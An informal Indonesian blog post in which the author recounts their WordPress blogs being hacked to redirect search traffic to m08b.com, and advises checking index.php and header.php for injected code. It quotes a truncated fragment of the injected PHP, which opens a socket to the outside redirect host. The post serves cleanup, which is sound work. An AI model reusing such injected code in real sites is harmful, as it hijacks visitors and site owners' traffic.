blog gue dihack, exploit apalah itu namanya

udah beberapa bulan ini gue notice kalo traffic dari blog2 gue pada turun, blog2 yang biasanya search engine nya lumayan bagus ituh, monyongnya lagi gue udah notice tapi gue gak tau mau ngapain, case yang terjadi adalah :

• blog nya udah dapet search engine position yang bagus, misalkan masuk halaman 1 google, dan pas diclick redirect ke search engine / web / blog / search partner nya google
• search dihalaman blog kita ngarah ke website diatas2 itu lagi, case gue masuk ke m08b.com
• load nya jadi lemot banget nget nget

hasilnya PENURUNAN DRASTIS VISITOR DONG!

kacrut dah, ya kalo penuruan drastisnya sama blog personal gini sih gpp, tapi kalo blog adsense + money making lain nya beuh sebel banget.

Akhirnya pas tadi malem gue ngedit2 template, dan inget ini ada apa ya, gue googling2 tentang wordpress hack / search engine redirect. Setelah mumet2 dot com, install ini itu, plugins ini itu, akhirnya ketemu juga cara yang bener buat ngilanginnya. Dan setelah nemuin masalahnya ternyata pemirsa, satu host ini semua (yang isinya sekitar 20 blog dibawah domain / hosting ini) kena hack semua, KACRUT!

belajar dari pengalaman, biar gak mumet2 kaya gue step2 gampangnya kaya gini ajah:

1. cek index php, dan header.php

salahnya gue cuman ngecek header.php doang, padahal YANG DIHACK (injectionnya ada di index.php) padahal gue udah nyari2 sampe database, sampe browsing file dan ngecek satu2,.. kampret gak ?

pokoknya kalo ada file aneh dan bentuknya kaya gini di kedua file tsb, hapus deh.

if(isset($_GET['p'])) {
$sock = @fsockopen(’’, 80);
if($sock){
fwrite ($sock, ‘GET http://m08b.

cara lebih lengkapnya buat nanggulangin masalah ini, baca aja disini.

haahhhhhhhhhhhh lega, semaleman nyari, ketemu juga masalahnya 🙁 hiks hiks semoga gak kejadian lagi deh.